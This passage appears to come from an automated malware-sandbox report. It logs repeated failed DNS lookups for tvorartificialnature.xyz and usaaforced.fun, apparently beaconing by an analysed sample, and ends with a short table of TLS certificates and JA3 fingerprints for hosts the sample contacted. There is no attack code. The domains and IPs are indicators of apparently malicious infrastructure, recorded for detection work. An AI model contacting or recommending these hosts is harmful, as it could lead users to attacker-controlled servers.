Apr 6, 2021 19:42:32.161640882 CEST	8.8.8.8	192.168.2.22	0xe48e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:32.339822054 CEST	8.8.8.8	192.168.2.22	0xc39	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:32.521823883 CEST	8.8.8.8	192.168.2.22	0x57d8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:32.712055922 CEST	8.8.8.8	192.168.2.22	0x601d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:32.901304007 CEST	8.8.8.8	192.168.2.22	0xdec	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:33.075191975 CEST	8.8.8.8	192.168.2.22	0xbd75	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:33.255460978 CEST	8.8.8.8	192.168.2.22	0x2498	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:33.431633949 CEST	8.8.8.8	192.168.2.22	0xe5a7	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:33.691013098 CEST	8.8.8.8	192.168.2.22	0xf651	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:33.975203991 CEST	8.8.8.8	192.168.2.22	0x4029	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:34.150111914 CEST	8.8.8.8	192.168.2.22	0x186	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:34.242187023 CEST	8.8.8.8	192.168.2.22	0xb692	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:34.336463928 CEST	8.8.8.8	192.168.2.22	0xa8cf	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:34.679801941 CEST	8.8.8.8	192.168.2.22	0x4efb	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:34.870239019 CEST	8.8.8.8	192.168.2.22	0x4db5	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:35.432514906 CEST	8.8.8.8	192.168.2.22	0x79e6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:35.731879950 CEST	8.8.8.8	192.168.2.22	0xee7f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:36.393716097 CEST	8.8.8.8	192.168.2.22	0x2754	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:36.565362930 CEST	8.8.8.8	192.168.2.22	0x21	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:36.744329929 CEST	8.8.8.8	192.168.2.22	0x6252	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:36.920824051 CEST	8.8.8.8	192.168.2.22	0x10b5	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:37.081511974 CEST	8.8.8.8	192.168.2.22	0x5c1e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:37.272511959 CEST	8.8.8.8	192.168.2.22	0x7277	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:37.449423075 CEST	8.8.8.8	192.168.2.22	0x926	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:37.612976074 CEST	8.8.8.8	192.168.2.22	0x99fc	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:37.797697067 CEST	8.8.8.8	192.168.2.22	0x9976	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:37.986224890 CEST	8.8.8.8	192.168.2.22	0x9ffc	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:38.162794113 CEST	8.8.8.8	192.168.2.22	0x6a01	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:38.402482033 CEST	8.8.8.8	192.168.2.22	0x1f52	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:38.657303095 CEST	8.8.8.8	192.168.2.22	0x490	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:38.838576078 CEST	8.8.8.8	192.168.2.22	0xf843	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:39.011686087 CEST	8.8.8.8	192.168.2.22	0x6a89	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:39.180008888 CEST	8.8.8.8	192.168.2.22	0xb8ff	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:39.360593081 CEST	8.8.8.8	192.168.2.22	0x9ecd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:39.540002108 CEST	8.8.8.8	192.168.2.22	0xebb1	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:39.711611986 CEST	8.8.8.8	192.168.2.22	0xd61e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:39.885759115 CEST	8.8.8.8	192.168.2.22	0x1d35	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:40.057142973 CEST	8.8.8.8	192.168.2.22	0x18a7	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:40.227874994 CEST	8.8.8.8	192.168.2.22	0x98fd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:40.394232988 CEST	8.8.8.8	192.168.2.22	0xce88	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:40.569595098 CEST	8.8.8.8	192.168.2.22	0x93eb	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:40.737339973 CEST	8.8.8.8	192.168.2.22	0xb7e1	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:40.915618896 CEST	8.8.8.8	192.168.2.22	0xa74e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:41.085580111 CEST	8.8.8.8	192.168.2.22	0x5e37	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:41.087795973 CEST	8.8.8.8	192.168.2.22	0x5f22	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:41.259716034 CEST	8.8.8.8	192.168.2.22	0x9079	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:41.423974037 CEST	8.8.8.8	192.168.2.22	0x36ef	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:41.611558914 CEST	8.8.8.8	192.168.2.22	0x3755	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:41.787870884 CEST	8.8.8.8	192.168.2.22	0x8260	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:41.956841946 CEST	8.8.8.8	192.168.2.22	0xdf55	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:42.143047094 CEST	8.8.8.8	192.168.2.22	0x8325	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:42.321439028 CEST	8.8.8.8	192.168.2.22	0xa59a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:42.494580984 CEST	8.8.8.8	192.168.2.22	0x2478	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:42.683697939 CEST	8.8.8.8	192.168.2.22	0x9a47	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:42.866476059 CEST	8.8.8.8	192.168.2.22	0xe59c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:43.049603939 CEST	8.8.8.8	192.168.2.22	0x88fd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:43.237287045 CEST	8.8.8.8	192.168.2.22	0x43cb	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:43.398423910 CEST	8.8.8.8	192.168.2.22	0x6262	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:43.586652994 CEST	8.8.8.8	192.168.2.22	0x970	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:43.756855965 CEST	8.8.8.8	192.168.2.22	0xebec	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:43.924406052 CEST	8.8.8.8	192.168.2.22	0xafeb	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:44.096920013 CEST	8.8.8.8	192.168.2.22	0x674f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:44.273869991 CEST	8.8.8.8	192.168.2.22	0x3a07	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:44.468727112 CEST	8.8.8.8	192.168.2.22	0xe940	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:44.638353109 CEST	8.8.8.8	192.168.2.22	0xb263	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:44.827119112 CEST	8.8.8.8	192.168.2.22	0xde33	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:45.001219034 CEST	8.8.8.8	192.168.2.22	0x9f9e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:45.183106899 CEST	8.8.8.8	192.168.2.22	0x9a81	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:45.372524977 CEST	8.8.8.8	192.168.2.22	0x4b52	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:45.546947956 CEST	8.8.8.8	192.168.2.22	0x91b6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:45.712363958 CEST	8.8.8.8	192.168.2.22	0x4199	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:45.889889956 CEST	8.8.8.8	192.168.2.22	0xe9f0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:46.071057081 CEST	8.8.8.8	192.168.2.22	0xcc2c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:46.256257057 CEST	8.8.8.8	192.168.2.22	0xca6f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:46.443197012 CEST	8.8.8.8	192.168.2.22	0x99c1	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:46.624011993 CEST	8.8.8.8	192.168.2.22	0x6f4	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:46.849548101 CEST	8.8.8.8	192.168.2.22	0xeebf	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:47.031053066 CEST	8.8.8.8	192.168.2.22	0xd44	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:47.217118979 CEST	8.8.8.8	192.168.2.22	0x92e0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:47.330743074 CEST	8.8.8.8	192.168.2.22	0xa5f4	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:47.382472038 CEST	8.8.8.8	192.168.2.22	0x4585	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:47.563369989 CEST	8.8.8.8	192.168.2.22	0xca08	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:47.734931946 CEST	8.8.8.8	192.168.2.22	0x4d26	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:47.906132936 CEST	8.8.8.8	192.168.2.22	0xf9d3	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:48.066164970 CEST	8.8.8.8	192.168.2.22	0x2034	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:48.258174896 CEST	8.8.8.8	192.168.2.22	0x886b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:48.459836960 CEST	8.8.8.8	192.168.2.22	0xb716	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:48.641771078 CEST	8.8.8.8	192.168.2.22	0x8c69	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:48.838382959 CEST	8.8.8.8	192.168.2.22	0x2727	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:49.012525082 CEST	8.8.8.8	192.168.2.22	0xb64d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:49.185770988 CEST	8.8.8.8	192.168.2.22	0x3da	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:49.353055000 CEST	8.8.8.8	192.168.2.22	0x5a22	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:49.539235115 CEST	8.8.8.8	192.168.2.22	0xad6b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:49.728804111 CEST	8.8.8.8	192.168.2.22	0xb7a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:49.899811029 CEST	8.8.8.8	192.168.2.22	0x29cf	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:50.067960978 CEST	8.8.8.8	192.168.2.22	0x19de	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:50.241233110 CEST	8.8.8.8	192.168.2.22	0xe05	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:50.417510033 CEST	8.8.8.8	192.168.2.22	0x8019	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:50.600867033 CEST	8.8.8.8	192.168.2.22	0x232a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:50.772943020 CEST	8.8.8.8	192.168.2.22	0x194e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:50.949104071 CEST	8.8.8.8	192.168.2.22	0x4c8b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:51.121359110 CEST	8.8.8.8	192.168.2.22	0xa248	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:51.289525986 CEST	8.8.8.8	192.168.2.22	0xd8de	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:51.473905087 CEST	8.8.8.8	192.168.2.22	0x756f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:51.651333094 CEST	8.8.8.8	192.168.2.22	0x4067	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:51.882812977 CEST	8.8.8.8	192.168.2.22	0x4c2b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:52.070070028 CEST	8.8.8.8	192.168.2.22	0x2a5	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:52.246840954 CEST	8.8.8.8	192.168.2.22	0x5a88	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:52.435575962 CEST	8.8.8.8	192.168.2.22	0x82e4	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:52.615577936 CEST	8.8.8.8	192.168.2.22	0xeced	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:52.782897949 CEST	8.8.8.8	192.168.2.22	0xa294	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:52.972532034 CEST	8.8.8.8	192.168.2.22	0x1eb8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:53.147896051 CEST	8.8.8.8	192.168.2.22	0x9915	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:53.313186884 CEST	8.8.8.8	192.168.2.22	0x71a6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:53.376725912 CEST	8.8.8.8	192.168.2.22	0x5b81	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:53.495623112 CEST	8.8.8.8	192.168.2.22	0xb4eb	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:53.689826965 CEST	8.8.8.8	192.168.2.22	0x2e0c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:53.853147030 CEST	8.8.8.8	192.168.2.22	0x1237	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:54.137821913 CEST	8.8.8.8	192.168.2.22	0x2099	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:54.310916901 CEST	8.8.8.8	192.168.2.22	0xd807	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:54.483423948 CEST	8.8.8.8	192.168.2.22	0x3c58	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:54.658694983 CEST	8.8.8.8	192.168.2.22	0x1069	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:55.161540985 CEST	8.8.8.8	192.168.2.22	0xd5d8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:55.329236984 CEST	8.8.8.8	192.168.2.22	0x1835	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:55.491687059 CEST	8.8.8.8	192.168.2.22	0x2758	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:55.702565908 CEST	8.8.8.8	192.168.2.22	0xa6fd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:55.872575998 CEST	8.8.8.8	192.168.2.22	0x7c12	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:56.055587053 CEST	8.8.8.8	192.168.2.22	0xae	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:56.243832111 CEST	8.8.8.8	192.168.2.22	0xe7be	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:56.420777082 CEST	8.8.8.8	192.168.2.22	0xf3ac	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:56.596462011 CEST	8.8.8.8	192.168.2.22	0xbcf3	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:56.769113064 CEST	8.8.8.8	192.168.2.22	0xb23e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:56.935937881 CEST	8.8.8.8	192.168.2.22	0x8de4	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:57.114208937 CEST	8.8.8.8	192.168.2.22	0x4169	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:57.292191982 CEST	8.8.8.8	192.168.2.22	0x9d47	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:57.468993902 CEST	8.8.8.8	192.168.2.22	0x79be	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:57.640069962 CEST	8.8.8.8	192.168.2.22	0x4440	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:57.817768097 CEST	8.8.8.8	192.168.2.22	0x2298	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:58.012900114 CEST	8.8.8.8	192.168.2.22	0xf825	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:58.184334993 CEST	8.8.8.8	192.168.2.22	0xcbb5	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:58.384978056 CEST	8.8.8.8	192.168.2.22	0x1eeb	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:58.565057039 CEST	8.8.8.8	192.168.2.22	0x51a6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:58.748430014 CEST	8.8.8.8	192.168.2.22	0x4cfe	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:58.937659025 CEST	8.8.8.8	192.168.2.22	0x2087	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:59.112762928 CEST	8.8.8.8	192.168.2.22	0xb909	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:59.294897079 CEST	8.8.8.8	192.168.2.22	0x5744	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:59.372659922 CEST	8.8.8.8	192.168.2.22	0x7bc0	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:59.469475985 CEST	8.8.8.8	192.168.2.22	0xd73b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:59.674940109 CEST	8.8.8.8	192.168.2.22	0x682f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:59.845753908 CEST	8.8.8.8	192.168.2.22	0xa63a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:00.021929979 CEST	8.8.8.8	192.168.2.22	0x72e2	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:00.197978020 CEST	8.8.8.8	192.168.2.22	0x9ba9	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:00.367079973 CEST	8.8.8.8	192.168.2.22	0x1943	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:00.543025017 CEST	8.8.8.8	192.168.2.22	0xdae9	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:00.714700937 CEST	8.8.8.8	192.168.2.22	0xa71a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:00.887867928 CEST	8.8.8.8	192.168.2.22	0x28e9	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:01.054174900 CEST	8.8.8.8	192.168.2.22	0x80e7	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:01.235719919 CEST	8.8.8.8	192.168.2.22	0xeba2	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:01.415628910 CEST	8.8.8.8	192.168.2.22	0xdc65	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:43:01.562462091 CEST	8.8.8.8	192.168.2.22	0xc0e7	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Apr 6, 2021 19:39:48.649375916 CEST	192.185.48.186	443	192.168.2.22	49165	CN=autodiscover.metaflip.io CN=R3, O=Let's Encrypt, C=US	CN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Tue Mar 30 02:52:09 CEST 2021 Wed Oct 07 21:21:40 CEST 2020	Mon Jun 28 02:52:09 CEST 2021 Wed Sep 29 21:21:40 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Apr 6, 2021 19:39:48.649375916 CEST	192.185.48.186	443	192.168.2.22	49165	CN=R3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Oct 07 21:21:40 CEST 2020	Wed Sep 29 21:21:40 CEST 2021		7dcce5b76c8b17472d024758970a406b
Apr 6, 2021 19:39:51.843641043 CEST	192.185.214.87	443	192.168.2.22	49168	CN=www.partsapp.com.br CN=R3, O=Let's Encrypt, C=US	CN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Mar 31 10:12:03 CEST 2021 Wed Oct 07 21:21:40 CEST 2020	Tue Jun 29 10:12:03 CEST 2021 Wed Sep 29 21:21:40 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Apr 6, 2021 19:39:51.843641043 CEST	192.185.214.87	443	192.168.2.22	49168	CN=R3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Oct 07 21:21:40 CEST 2020	Wed Sep 29 21:21:40 CEST 2021		7dcce5b76c8b17472d024758970a406b
